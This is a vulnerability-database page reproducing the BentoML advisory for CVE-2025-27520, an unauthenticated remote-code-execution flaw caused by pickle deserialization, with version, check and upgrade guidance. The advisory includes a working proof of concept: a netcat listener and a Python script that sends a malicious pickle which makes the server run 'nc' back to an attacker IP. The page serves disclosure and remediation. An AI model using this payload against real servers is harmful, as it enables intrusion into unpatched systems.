BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization
CVE-2025-27520 · GHSA-33xw-247w-6hmc · PYSEC-2026-294 · published 4 Apr 2025
How serious is it
- Severity: critical, CVSS score 9.8 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2025-27520?
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Who is affected
bentoml(PyPI) >= 1.3.4, < 1.4.3
How to check
- Run
pip show bentomlin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
- Or run
npx shippable-dev scan localhost:3000in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
bentomlto 1.4.3 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
### Summary
A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server.
### Details
It exists an unsafe code segment in `serde.py`:
```Python
def deserialize_value(self, payload: Payload) -> t.Any:
if "buffer-lengths" not in payload.metadata:
return pickle.loads(b"".join(payload.data))
```
Through data flow analysis, it is confirmed that the `payload `content is sourced from an HTTP request, which can be fully manipulated by the attack. Due to the lack of validation in the code, maliciously crafted serialized data can execute harmful actions during deserialization.
### PoC
Environment:
- Server host:
- IP: 10.98.36.123
- OS: Ubuntu
- Attack host:
- IP: 10.98.36.121
- OS: Ubuntu
1. Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment.
1.1 Install BentoML (Server host: 10.98.36.123) :
` pip install -U bentoml`
1.2 Define APIs in a `service.py` file (Server host: 10.98.36.123) :
``` Python
from __future__ import annotations
import bentoml
@bentoml.service(
resources={"cpu": "4"}
)
class Summarization:
def __init__(self) -> None:
import torch
from transformers import pipeline
device = "cuda" if torch.cuda.is_available() else "cpu"
self.pipeline = pipeline('summarization', device=device)
@bentoml.api(batchable=True)
def summarize(self, texts: list[str]) -> list[str]:
results = self.pipeline(texts)
return [item['summary_text'] for item in results]
```
1.3 Run the service code (Server host: 10.98.36.123) :
``` Bash
pip install torch transformers # additional dependencies for local run
bentoml serve
```
2. Start nc listening on the attacking host (Attack host: 10.98.36.121) :
`nc -lvvp 1234`
3. Send maliciously crafted request (Attack host: 10.98.36.121) :
``` Python
import pickle
import os
import requests
headers = {'Content-Type': 'application/vnd.bentoml+pickle'}
class Evil:
def __reduce__(self):
return(os.system, ('nc 10.98.36.121 1234',))
payload = pickle.dumps(Evil())
requests.post("http://10.98.36.123:3000/summarize", data=payload, headers=headers)
```
4. Attack success (Attack host: 10.98.36.121) :
The server host(10.98.36.123) has connected to the attacker's host(10.98.36.121) listening on port 1234.

### Impact
Remote Code Execution (RCE).
Check your whole app
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References
- github.com/bentoml/BentoML/security/advisories/GHSA-33xw-247w-6hmc
- nvd.nist.gov/vuln/detail/CVE-2025-27520
- github.com/bentoml/BentoML/commit/b35f4f4fcc53a8c3fe8ed9c18a013fe0a728e194
- github.com/pypa/advisory-database/tree/main/vulns/bentoml/PYSEC-2026-294.yaml
- pypi.org/project/bentoml
- github.com/advisories/GHSA-33xw-247w-6hmc
- github.com/bentoml/BentoML
Merged from GitHub Advisory Database, OSV. Last updated 28 Oct 2026. All vulnerabilities · RSS · JSON